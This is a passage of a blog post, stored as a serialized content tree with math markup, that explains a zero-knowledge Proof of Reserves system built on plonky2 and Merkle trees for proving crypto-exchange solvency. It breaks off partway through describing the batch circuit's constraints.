sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":22,"tag":23,"props":96027,"children":96028},{},[96029,96031,96038,96040,96047,96049,96056],{"type":27,"value":96030},"We from OtterSec, in partnership with ",{"type":22,"tag":80,"props":96032,"children":96035},{"href":96033,"rel":96034},"https://backpack.exchange/",[84],[96036],{"type":27,"value":96037},"Backpack",{"type":27,"value":96039},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":22,"tag":80,"props":96041,"children":96044},{"href":96042,"rel":96043},"https://github.com/otter-sec/por_v2",[84],[96045],{"type":27,"value":96046},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":27,"value":96048}," was based on ",{"type":22,"tag":80,"props":96050,"children":96053},{"href":96051,"rel":96052},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[84],[96054],{"type":27,"value":96055},"OKX Proof of Reserves algorithm",{"type":27,"value":96057}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":22,"tag":23,"props":96059,"children":96060},{},[96061,96063,96070],{"type":27,"value":96062},"In addition, we also created and open-sourced a ",{"type":22,"tag":80,"props":96064,"children":96067},{"href":96065,"rel":96066},"https://github.com/otter-sec/por_verifier_server",[84],[96068],{"type":27,"value":96069},"PoR verifier server",{"type":27,"value":96071}," that receives the proofs and validates them.",{"type":22,"tag":53,"props":96073,"children":96075},{"id":96074},"why-do-we-use-zk-for-por",[96076],{"type":27,"value":96077},"Why do we use ZK for PoR?",{"type":22,"tag":23,"props":96079,"children":96080},{},[96081,96083,96088],{"type":27,"value":96082},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":22,"tag":9370,"props":96084,"children":96085},{},[96086],{"type":27,"value":96087},"Zero-Knowledge Proofs (ZKPs)",{"type":27,"value":96089}," become game-changers.",{"type":22,"tag":23,"props":96091,"children":96092},{},[96093],{"type":27,"value":96094},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":22,"tag":23,"props":96096,"children":96097},{},[96098],{"type":27,"value":96099},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":22,"tag":6828,"props":96101,"children":96102},{},[96103,96120],{"type":22,"tag":6832,"props":96104,"children":96105},{},[96106,96111,96113,96119],{"type":22,"tag":9370,"props":96107,"children":96108},{},[96109],{"type":27,"value":96110},"Sum proof",{"type":27,"value":96112},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":22,"tag":30,"props":96114,"children":96116},{"className":96115},[],[96117],{"type":27,"value":96118},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":27,"value":24730},{"type":22,"tag":6832,"props":96121,"children":96122},{},[96123,96128,96130,96135],{"type":22,"tag":9370,"props":96124,"children":96125},{},[96126],{"type":27,"value":96127},"Non-negativity",{"type":27,"value":96129},": All users have a ",{"type":22,"tag":9370,"props":96131,"children":96132},{},[96133],{"type":27,"value":96134},"positive",{"type":27,"value":96136}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":22,"tag":23,"props":96138,"children":96139},{},[96140],{"type":27,"value":96141},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":22,"tag":53,"props":96143,"children":96145},{"id":96144},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[96146],{"type":27,"value":96147},"What is a Merkle Tree and how does it help in a PoR?",{"type":22,"tag":23,"props":96149,"children":96150},{},[96151],{"type":27,"value":96152},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":22,"tag":23,"props":96154,"children":96155},{},[96156],{"type":22,"tag":7959,"props":96157,"children":96159},{"alt":54574,"src":96158},"/posts/por/merkle-tree.png",[],{"type":22,"tag":23,"props":96161,"children":96162},{},[96163],{"type":27,"value":96164},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":22,"tag":6828,"props":96166,"children":96167},{},[96168,96181,96186],{"type":22,"tag":6832,"props":96169,"children":96170},{},[96171,96173,96179],{"type":27,"value":96172},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":22,"tag":30,"props":96174,"children":96176},{"className":96175},[],[96177],{"type":27,"value":96178},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":27,"value":96180},");",{"type":22,"tag":6832,"props":96182,"children":96183},{},[96184],{"type":27,"value":96185},"The Merkle tree is made public;",{"type":22,"tag":6832,"props":96187,"children":96188},{},[96189],{"type":27,"value":96190},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":22,"tag":23,"props":96192,"children":96193},{},[96194],{"type":27,"value":96195},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":22,"tag":53,"props":96197,"children":96199},{"id":96198},"ottersec-porv2",[96200],{"type":27,"value":96201},"OtterSec PoRv2",{"type":22,"tag":23,"props":96203,"children":96204},{},[96205,96211,96213,96220],{"type":22,"tag":80,"props":96206,"children":96208},{"href":96042,"rel":96207},[84],[96209],{"type":27,"value":96210},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":27,"value":96212},", which uses the ",{"type":22,"tag":80,"props":96214,"children":96217},{"href":96215,"rel":96216},"https://github.com/0xPolygonZero/plonky2",[84],[96218],{"type":27,"value":96219},"plonky2 ZK algorithm",{"type":27,"value":96221}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":22,"tag":23,"props":96223,"children":96224},{},[96225,96227,96234],{"type":27,"value":96226},"We named it PoRv2 because we already had a version based on ",{"type":22,"tag":80,"props":96228,"children":96231},{"href":96229,"rel":96230},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[84],[96232],{"type":27,"value":96233},"Vitalik's proof of solvency",{"type":27,"value":96235},", which was not optimal.",{"type":22,"tag":23,"props":96237,"children":96238},{},[96239],{"type":22,"tag":9370,"props":96240,"children":96241},{},[96242],{"type":27,"value":96243},"Non-negativity Proof",{"type":22,"tag":23,"props":96245,"children":96246},{},[96247],{"type":27,"value":96248},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":22,"tag":23,"props":96250,"children":96251},{},[96252],{"type":27,"value":96253},"We also check for overflows during summation to prevent tampering in the final result.",{"type":22,"tag":23,"props":96255,"children":96256},{},[96257],{"type":22,"tag":9370,"props":96258,"children":96259},{},[96260],{"type":27,"value":96261},"Sum Proof",{"type":22,"tag":23,"props":96263,"children":96264},{},[96265,96267,96273],{"type":27,"value":96266},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":22,"tag":30,"props":96268,"children":96270},{"className":96269},[],[96271],{"type":27,"value":96272},"BTC final: user1_btc + user2_btc ...",{"type":27,"value":96274},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":22,"tag":1760,"props":96276,"children":96278},{"id":96277},"what-are-the-ottersec-porv2-key-points",[96279],{"type":27,"value":96280},"What are the OtterSec PoRv2 key points?",{"type":22,"tag":6828,"props":96282,"children":96283},{},[96284,96294,96312,96322,96353],{"type":22,"tag":6832,"props":96285,"children":96286},{},[96287,96292],{"type":22,"tag":9370,"props":96288,"children":96289},{},[96290],{"type":27,"value":96291},"Transparency",{"type":27,"value":96293},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":22,"tag":6832,"props":96295,"children":96296},{},[96297,96302,96304,96311],{"type":22,"tag":9370,"props":96298,"children":96299},{},[96300],{"type":27,"value":96301},"Time-efficiency",{"type":27,"value":96303},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":22,"tag":80,"props":96305,"children":96308},{"href":96306,"rel":96307},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[84],[96309],{"type":27,"value":96310},"Check our benchmark",{"type":27,"value":231},{"type":22,"tag":6832,"props":96313,"children":96314},{},[96315,96320],{"type":22,"tag":9370,"props":96316,"children":96317},{},[96318],{"type":27,"value":96319},"Memory-efficiency",{"type":27,"value":96321},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":22,"tag":6832,"props":96323,"children":96324},{},[96325,96330,96332,96337,96339,96344,96346,96351],{"type":22,"tag":9370,"props":96326,"children":96327},{},[96328],{"type":27,"value":96329},"Small-proofs",{"type":27,"value":96331},": We were able to reduce the final proof to less than ",{"type":22,"tag":9370,"props":96333,"children":96334},{},[96335],{"type":27,"value":96336},"500KB",{"type":27,"value":96338}," and each inclusion proof to ",{"type":22,"tag":9370,"props":96340,"children":96341},{},[96342],{"type":27,"value":96343},"~52KB",{"type":27,"value":96345},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":22,"tag":9370,"props":96347,"children":96348},{},[96349],{"type":27,"value":96350},"200MB",{"type":27,"value":96352}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":22,"tag":6832,"props":96354,"children":96355},{},[96356,96361],{"type":22,"tag":9370,"props":96357,"children":96358},{},[96359],{"type":27,"value":96360},"Privacy",{"type":27,"value":96362},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":22,"tag":53,"props":96364,"children":96366},{"id":96365},"zk-circuits",[96367],{"type":27,"value":96368},"ZK Circuits",{"type":22,"tag":23,"props":96370,"children":96371},{},[96372],{"type":27,"value":96373},"We use two different ZK circuits to generate the final proof:",{"type":22,"tag":6828,"props":96375,"children":96376},{},[96377,96382],{"type":22,"tag":6832,"props":96378,"children":96379},{},[96380],{"type":27,"value":96381},"Batch circuit",{"type":22,"tag":6832,"props":96383,"children":96384},{},[96385],{"type":27,"value":96386},"Recursive circuit",{"type":22,"tag":23,"props":96388,"children":96389},{},[96390],{"type":27,"value":96391},"With those two circuits, we can generate the proofs recursive tree:",{"type":22,"tag":23,"props":96393,"children":96394},{},[96395],{"type":22,"tag":7959,"props":96396,"children":96398},{"alt":54574,"src":96397},"/posts/por/batch-circuit.png",[],{"type":22,"tag":604,"props":96400,"children":96401},{},[96402],{"type":22,"tag":23,"props":96403,"children":96404},{},[96405,96407,96413,96415,96421],{"type":27,"value":96406},"Note: We are using 512 as ",{"type":22,"tag":30,"props":96408,"children":96410},{"className":96409},[],[96411],{"type":27,"value":96412},"BATCH_SIZE",{"type":27,"value":96414}," and 8 as ",{"type":22,"tag":30,"props":96416,"children":96418},{"className":96417},[],[96419],{"type":27,"value":96420},"RECURSIVE_SIZE",{"type":27,"value":96422}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":22,"tag":604,"props":96424,"children":96425},{},[96426],{"type":22,"tag":23,"props":96427,"children":96428},{},[96429],{"type":27,"value":96430},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":22,"tag":23,"props":96432,"children":96433},{},[96434],{"type":27,"value":96435},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":22,"tag":1760,"props":96437,"children":96439},{"id":96438},"leaf-nodes",[96440],{"type":27,"value":96441},"Leaf Nodes",{"type":22,"tag":23,"props":96443,"children":96444},{},[96445],{"type":27,"value":96446},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":22,"tag":23,"props":96448,"children":96449},{},[96450],{"type":22,"tag":30,"props":96451,"children":96453},{"className":96452},[8026,8027],[96454],{"type":22,"tag":101,"props":96455,"children":96457},{"className":96456},[8032],[96458],{"type":22,"tag":101,"props":96459,"children":96461},{"className":96460,"ariaHidden":5608},[8037],[96462,96489],{"type":22,"tag":101,"props":96463,"children":96465},{"className":96464},[8042],[96466,96471,96476,96480,96485],{"type":22,"tag":101,"props":96467,"children":96470},{"className":96468,"style":96469},[8047],"height:0.6944em;",[],{"type":22,"tag":101,"props":96472,"children":96474},{"className":96473},[8053,25575],[96475],{"type":27,"value":87852},{"type":22,"tag":101,"props":96477,"children":96479},{"className":96478,"style":8231},[8133],[],{"type":22,"tag":101,"props":96481,"children":96483},{"className":96482},[8236],[96484],{"type":27,"value":1511},{"type":22,"tag":101,"props":96486,"children":96488},{"className":96487,"style":8231},[8133],[],{"type":22,"tag":101,"props":96490,"children":96492},{"className":96491},[8042],[96493,96498,96503,96509,96514,96519,96525,96530,96535,96540,96546,96551,96557,96563,96570,96576,96582,96642,96647,96653,96658,96663,96668,96673,96678,96683,96688,96693,96698,96755,96760,96765,96770,96775,96780,96785,96792,96797,96803,96808,96814,96820,96825,96830,96835,96840,96845,96850,96855,96860,96865,96870,96875,96880,96885,96890],{"type":22,"tag":101,"props":96494,"children":96497},{"className":96495,"style":96496},[8047],"height:1.06em;vertical-align:-0.31em;",[],{"type":22,"tag":101,"props":96499,"children":96501},{"className":96500,"style":25576},[8053,25575],[96502],{"type":27,"value":25579},{"type":22,"tag":101,"props":96504,"children":96506},{"className":96505},[8053,25575],[96507],{"type":27,"value":96508},"ose",{"type":22,"tag":101,"props":96510,"children":96512},{"className":96511},[8053,25575],[96513],{"type":27,"value":7774},{"type":22,"tag":101,"props":96515,"children":96517},{"className":96516},[8053,25575],[96518],{"type":27,"value":74069},{"type":22,"tag":101,"props":96520,"children":96522},{"className":96521},[8053,25575],[96523],{"type":27,"value":96524},"o",{"type":22,"tag":101,"props":96526,"children":96528},{"className":96527},[8053,25575],[96529],{"type":27,"value":60400},{"type":22,"tag":101,"props":96531,"children":96533},{"className":96532},[25704],[96534],{"type":27,"value":980},{"type":22,"tag":101,"props":96536,"children":96538},{"className":96537},[8053,25575],[96539],{"type":27,"value":80},{"type":22,"tag":101,"props":96541,"children":96543},{"className":96542},[8053,25575],[96544],{"type":27,"value":96545},"sse",{"type":22,"tag":101,"props":96547,"children":96549},{"className":96548},[8053,25575],[96550],{"type":27,"value":25717},{"type":22,"tag":101,"props":96552,"children":96555},{"className":96553,"style":96554},[8053],"margin-right:0.02778em;",[96556],{"type":27,"value":6382},{"type":22,"tag":101,"props":96558,"children":96560},{"className":96559},[8053,25575],[96561],{"type":27,"value":96562},"ba",{"type":22,"tag":101,"props":96564,"children":96567},{"className":96565,"style":96566},[8053,25575],"margin-right:0.01968em;",[96568],{"type":27,"value":96569},"l",{"type":22,"tag":101,"props":96571,"children":96573},{"className":96572},[8053,25575],[96574],{"type":27,"value":96575},"an",{"type":22,"tag":101,"props":96577,"children":96579},{"className":96578},[8053,25575],[96580],{"type":27,"value":96581},"ce",{"type":22,"tag":101,"props":96583,"children":96585},{"className":96584},[8053],[96586,96591],{"type":22,"tag":101,"props":96587,"children":96589},{"className":96588},[8053,25575],[96590],{"type":27,"value":14657},{"type":22,"tag":101,"props":96592,"children":96594},{"className":96593},[8069],[96595],{"type":22,"tag":101,"props":96596,"children":96598},{"className":96597},[8074,25629],[96599,96630],{"type":22,"tag":101,"props":96600,"children":96602},{"className":96601},[8079],[96603,96625],{"type":22,"tag":101,"props":96604,"children":96607},{"className":96605,"style":96606},[8084],"height:0.3011em;",[96608],{"type":22,"tag":101,"props":96609,"children":96611},{"style":96610},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[96612,96616],{"type":22,"tag":101,"props":96613,"children":96615},{"className":96614,"style":8094},[8093],[],{"type":22,"tag":101,"props":96617,"children":96619},{"className":96618},[8099,8100,8101,8102],[96620],{"type":22,"tag":101,"props":96621,"children":96623},{"className":96622},[8053,8102],[96624],{"type":27,"value":8065},{"type":22,"tag":101,"props":96626,"children":96628},{"className":96627},[25732],[96629],{"type":27,"value":25735},{"type":22,"tag":101,"props":96631,"children":96633},{"className":96632},[8079],[96634],{"type":22,"tag":101,"props":96635,"children":96638},{"className":96636,"style":96637},[8084],"height:0.15em;",[96639],{"type":22,"tag":101,"props":96640,"children":96641},{},[],{"type":22,"tag":101,"props":96643,"children":96645},{"className":96644},[8133],[96646],{"type":27,"value":25676},{"type":22,"tag":101,"props":96648,"children":96650},{"className":96649},[8053],[96651],{"type":27,"value":96652},"∣∣",{"type":22,"tag":101,"props":96654,"children":96656},{"className":96655},[8133],[96657],{"type":27,"value":25676},{"type":22,"tag":101,"props":96659,"children":96661},{"className":96660},[8053,25575],[96662],{"type":27,"value":80},{"type":22,"tag":101,"props":96664,"children":96666},{"className":96665},[8053,25575],[96667],{"type":27,"value":96545},{"type":22,"tag":101,"props":96669,"children":96671},{"className":96670},[8053,25575],[96672],{"type":27,"value":25717},{"type":22,"tag":101,"props":96674,"children":96676},{"className":96675,"style":96554},[8053],[96677],{"type":27,"value":6382},{"type":22,"tag":101,"props":96679,"children":96681},{"className":96680},[8053,25575],[96682],{"type":27,"value":96562},{"type":22,"tag":101,"props":96684,"children":96686},{"className":96685,"style":96566},[8053,25575],[96687],{"type":27,"value":96569},{"type":22,"tag":101,"props":96689,"children":96691},{"className":96690},[8053,25575],[96692],{"type":27,"value":96575},{"type":22,"tag":101,"props":96694,"children":96696},{"className":96695},[8053,25575],[96697],{"type":27,"value":96581},{"type":22,"tag":101,"props":96699,"children":96701},{"className":96700},[8053],[96702,96707],{"type":22,"tag":101,"props":96703,"children":96705},{"className":96704},[8053,25575],[96706],{"type":27,"value":14657},{"type":22,"tag":101,"props":96708,"children":96710},{"className":96709},[8069],[96711],{"type":22,"tag":101,"props":96712,"children":96714},{"className":96713},[8074,25629],[96715,96744],{"type":22,"tag":101,"props":96716,"children":96718},{"className":96717},[8079],[96719,96739],{"type":22,"tag":101,"props":96720,"children":96722},{"className":96721,"style":96606},[8084],[96723],{"type":22,"tag":101,"props":96724,"children":96725},{"style":96610},[96726,96730],{"type":22,"tag":101,"props":96727,"children":96729},{"className":96728,"style":8094},[8093],[],{"type":22,"tag":101,"props":96731,"children":96733},{"className":96732},[8099,8100,8101,8102],[96734],{"type":22,"tag":101,"props":96735,"children":96737},{"className":96736},[8053,8102],[96738],{"type":27,"value":6813},{"type":22,"tag":101,"props":96740,"children":96742},{"className":96741},[25732],[96743],{"type":27,"value":25735},{"type":22,"tag":101,"props":96745,"children":96747},{"className":96746},[8079],[96748],{"type":22,"tag":101,"props":96749,"children":96751},{"className":96750,"style":96637},[8084],[96752],{"type":22,"tag":101,"props":96753,"children":96754},{},[],{"type":22,"tag":101,"props":96756,"children":96758},{"className":96757},[8133],[96759],{"type":27,"value":25676},{"type":22,"tag":101,"props":96761,"children":96763},{"className":96762},[8053],[96764],{"type":27,"value":614},{"type":22,"tag":101,"props":96766,"children":96768},{"className":96767},[8133],[96769],{"type":27,"value":25676},{"type":22,"tag":101,"props":96771,"children":96773},{"className":96772},[8053],[96774],{"type":27,"value":96652},{"type":22,"tag":101,"props":96776,"children":96778},{"className":96777},[8133],[96779],{"type":27,"value":25676},{"type":22,"tag":101,"props":96781,"children":96783},{"className":96782,"style":26034},[8053,25575],[96784],{"type":27,"value":26037},{"type":22,"tag":101,"props":96786,"children":96789},{"className":96787,"style":96788},[8053,25575],"margin-right:0.08125em;",[96790],{"type":27,"value":96791},"H",{"type":22,"tag":101,"props":96793,"children":96795},{"className":96794},[8053,25575],[96796],{"type":27,"value":80274},{"type":22,"tag":101,"props":96798,"children":96800},{"className":96799},[8053],[96801],{"type":27,"value":96802},"256",{"type":22,"tag":101,"props":96804,"children":96806},{"className":96805},[25704],[96807],{"type":27,"value":980},{"type":22,"tag":101,"props":96809,"children":96811},{"className":96810},[8053,25575],[96812],{"type":27,"value":96813},"u",{"type":22,"tag":101,"props":96815,"children":96817},{"className":96816,"style":96554},[8053,25575],[96818],{"type":27,"value":96819},"ser",{"type":22,"tag":101,"props":96821,"children":96823},{"className":96822,"style":96554},[8053],[96824],{"type":27,"value":6382},{"type":22,"tag":101,"props":96826,"children":96828},{"className":96827},[8053,25575],[96829],{"type":27,"value":7774},{"type":22,"tag":101,"props":96831,"children":96833},{"className":96832},[8053,25575],[96834],{"type":27,"value":74069},{"type":22,"tag":101,"props":96836,"children":96838},{"className":96837},[25726],[96839],{"type":27,"value":2261},{"type":22,"tag":101,"props":96841,"children":96843},{"className":96842},[8133],[96844],{"type":27,"value":25676},{"type":22,"tag":101,"props":96846,"children":96848},{"className":96847},[8053],[96849],{"type":27,"value":96652},{"type":22,"tag":101,"props":96851,"children":96853},{"className":96852},[8133],[96854],{"type":27,"value":25676},{"type":22,"tag":101,"props":96856,"children":96858},{"className":96857},[8053,25575],[96859],{"type":27,"value":96813},{"type":22,"tag":101,"props":96861,"children":96863},{"className":96862,"style":96554},[8053,25575],[96864],{"type":27,"value":96819},{"type":22,"tag":101,"props":96866,"children":96868},{"className":96867,"style":96554},[8053],[96869],{"type":27,"value":6382},{"type":22,"tag":101,"props":96871,"children":96873},{"className":96872},[8053,25575],[96874],{"type":27,"value":60400},{"type":22,"tag":101,"props":96876,"children":96878},{"className":96877},[8053,25575],[96879],{"type":27,"value":96524},{"type":22,"tag":101,"props":96881,"children":96883},{"className":96882},[8053,25575],[96884],{"type":27,"value":60400},{"type":22,"tag":101,"props":96886,"children":96888},{"className":96887},[8053,25575],[96889],{"type":27,"value":96581},{"type":22,"tag":101,"props":96891,"children":96893},{"className":96892},[25726],[96894],{"type":27,"value":2261},{"type":22,"tag":23,"props":96896,"children":96897},{},[96898,96900,96906],{"type":27,"value":96899},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":22,"tag":30,"props":96901,"children":96903},{"className":96902},[],[96904],{"type":27,"value":96905},"uuid",{"type":27,"value":96907},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":22,"tag":1760,"props":96909,"children":96911},{"id":96910},"batch-circuit",[96912],{"type":27,"value":96913},"Batch Circuit",{"type":22,"tag":23,"props":96915,"children":96916},{},[96917],{"type":27,"value":96918},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":22,"tag":23,"props":96920,"children":96921},{},[96922],{"type":22,"tag":9370,"props":96923,"children":96924},{},[96925],{"type":27,"value":96926},"Public Inputs",{"type":22,"tag":6839,"props":96928,"children":96929},{},[96930,96935,96940],{"type":22,"tag":6832,"props":96931,"children":96932},{},[96933],{"type":27,"value":96934},"Asset prices in USD",{"type":22,"tag":6832,"props":96936,"children":96937},{},[96938],{"type":27,"value":96939},"Merkle tree hash",{"type":22,"tag":6832,"props":96941,"children":96942},{},[96943],{"type":27,"value":96944},"Summed asset balances",{"type":22,"tag":23,"props":96946,"children":96947},{},[96948],{"type":22,"tag":9370,"props":96949,"children":96950},{},[96951],{"type":27,"value":96952},"Private Inputs",{"type":22,"tag":6839,"props":96954,"children":96955},{},[96956,96961],{"type":22,"tag":6832,"props":96957,"children":96958},{},[96959],{"type":27,"value":96960},"Users balances",{"type":22,"tag":6832,"props":96962,"children":96963},{},[96964],{"type":27,"value":96965},"Merkle tree leaves hashes",{"type":22,"tag":23,"props":96967,"children":96968},{},[96969],{"type":22,"tag":9370,"props":96970,"children":96971},{},[96972],{"type":27,"value":96973},"Constraints",{"type":22,"tag":6839,"props":96975,"children":96976},{},[96977,97430,97598,97945,98343],{"type":22,"tag":6832,"props":96978,"children":96979},{},[96980],{"type":22,"tag":30,"props":96981,"children":96983},{"className":96982},[8026,8027],[96984],{"type":22,"tag":101,"props":96985,"children":96987},{"className":96986},[8032],[96988],{"type":22,"tag":101,"props":96989,"children":96991},{"className":96990,"ariaHidden":5608},[8037],[96992,97131,97335],{"type":22,"tag":101,"props":96993,"children":96995},{"className":96994},[8042],[96996,97001,97006,97012,97017,97022,97027,97032,97037,97044,97049,97054,97059,97118,97122,97127],{"type":22,"tag":101,"props":96997,"children":97000},{"className":96998,"style":96999},[8047],"height:0.9695em;vertical-align:-0.31em;",[],{"type":22,"tag":101,"props":97002,"children":97004},{"className":97003},[8053,25575],[97005],{"type":27,"value":80},{"type":22,"tag":101,"props":97007,"children":97009},{"className":97008},[8053,25575],[97010],{"type":27,"value":97011},"cco",{"type":22,"tag":101,"props":97013,"children":97015},{"className":97014},[8053,25575],[97016],{"type":27,"value":96813},{"type":22,"tag":101,"props":97018,"children":97020},{"className":97019},[8053,25575],[97021],{"type":27,"value":60400},{"type":22,"tag":101,"props":97023,"children":97025},{"className":97024},[8053,25575],[97026],{"type":27,"value":25717},{"type":22,"tag":101,"props":97028,"children":97030},{"className":97029,"style":96554},[8053],[97031],{"type":27,"value":6382},{"type":22,"tag":101,"props":97033,"children":97035},{"className":97034},[8053,25575],[97036],{"type":27,"value":55450},{"type":22,"tag":101,"props":97038,"children":97041},{"className":97039,"style":97040},[8053,25575],"margin-right:0.03588em;",[97042],{"type":27,"value":97043},"q",{"type":22,"tag":101,"props":97045,"children":97047},{"className":97046},[8053,25575],[97048],{"type":27,"value":96813},{"type":22,"tag":101,"props":97050,"children":97052},{"className":97051},[8053,25575],[97053],{"type":27,"value":7774},{"type":22,"tag":101,"props":97055,"children":97057},{"className":97056},[8053,25575],[97058],{"type":27,"value":25717},{"type":22,"tag":101,"props":97060,"children":97062},{"className":97061},[8053],[97063,97068],{"type":22,"tag":101,"props":97064,"children":97066},{"className":97065,"style":97040},[8053,25575],[97067],{"type":27,"value":7155},{"type":22,"tag":101,"props":97069,"children":97071},{"className":97070},[8069],[97072],{"type":22,"tag":101,"props":97073,"children":97075},{"className":97074},[8074,25629],[97076,97107],{"type":22,"tag":101,"props":97077,"children":97079},{"className":97078},[8079],[97080,97102],{"type":22,"tag":101,"props":97081,"children":97084},{"className":97082,"style":97083},[8084],"height:0.3117em;",[97085],{"type":22,"tag":101,"props":97086,"children":97088},{"style":97087},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[97089,97093],{"type":22,"tag":101,"props":97090,"children":97092},{"className":97091,"style":8094},[8093],[],{"type":22,"tag":101,"props":97094,"children":97096},{"className":97095},[8099,8100,8101,8102],[97097],{"type":22,"tag":101,"props":97098,"children":97100},{"className":97099},[8053,25575,8102],[97101],{"type":27,"value":7774},{"type":22,"tag":101,"props":97103,"children":97105},{"className":97104},[25732],[97106],{"type":27,"value":25735},{"type":22,"tag":101,"props":97108,"children":97110},{"className":97109},[8079],[97111],{"type":22,"tag":101,"props":97112,"children":97114},{"className":97113,"style":96637},[8084],[97115],{"type":22,"tag":101,"props":97116,"children":97117},{},[],{"type":22,"tag":101,"props":97119,"children":97121},{"className":97120,"style":8231},[8133],[],{"type":22,"tag":101,"props":97123,"children":97125},{"className":97124},[8236],[97126],{"type":27,"value":4340},{"type":22,"tag":101,"props":97128,"children":97130},{"className":97129,"style":8231},[8133],[],{"type":22,"tag":101,"props":97132,"children":97134},{"className":97133},[8042],[97135,97139,97145,97150,97155,97160,97165,97170,97175,97180,97185,97190,97195,97200,97205,97210,97215,97220,97277,97282,97287,97292,97297,97302,97307,97312,97317,97322,97326,97331],{"type":22,"tag":101,"props":97136,"children":97138},{"className":97137,"style":96496},[8047],[],{"type":22,"tag":101,"props":97140,"children":97142},{"className":97141},[8053],[97143],{"type":27,"value":97144},"Σ",{"type":22,"tag":101,"props":97146,"children":97148},{"className":97147},[8133],[97149],{"type":27,"value":25676},{"type":22,"tag":101,"props":97151,"children":97153},{"className":97152},[8053,25575],[97154],{"type":27,"value":80},{"type":22,"tag":101,"props":97156,"children":97158},{"className":97157},[8053,25575],[97159],{"type":27,"value":97011},{"type":22,"tag":101,"props":97161,"children":97163},{"className":97162},[8053,25575],[97164],{"type":27,"value":96813},{"type":22,"tag":101,"props":97166,"children":97168},{"className":97167},[8053,25575],[97169],{"type":27,"value":60400},{"type":22,"tag":101,"props":97171,"children":97173},{"className":97172},[8053,25575],[97174],{"type":27,"value":25717},{"type":22,"tag":101,"props":97176,"children":97178},{"className":97177,"style":96554},[8053],[97179],{"type":27,"value":6382},{"type":22,"tag":101,"props":97181,"children":97183},{"className":97182},[8053,25575],[97184],{"type":27,"value":80},{"type":22,"tag":101,"props":97186,"children":97188},{"className":97187},[8053,25575],[97189],{"type":27,"value":96545},{"type":22,"tag":101,"props":97191,"children":97193},{"className":97192},[8053,25575],[97194],{"type":27,"value":25717},{"type":22,"tag":101,"props":97196,"children":97198},{"className":97197,"style":96554},[8053],[97199],{"type":27,"value":6382},{"type":22,"tag":101,"props":97201,"children":97203},{"className":97202},[8053,25575],[97204],{"type":27,"value":96562},{"type":22,"tag":101,"props":97206,"children":97208},{"className":97207,"style":96566},[8053,25575],[97209],{"type":27,"value":96569},{"type":22,"tag":101,"props":97211,"children":97213},{"className":97212},[8053,25575],[97214],{"type":27,"value":96575},{"type":22,"tag":101,"props":97216,"children":97218},{"className":97217},[8053,25575],[97219],{"type":27,"value":96581},{"type":22,"tag":101,"props":97221,"children":97223},{"className":97222},[8053],[97224,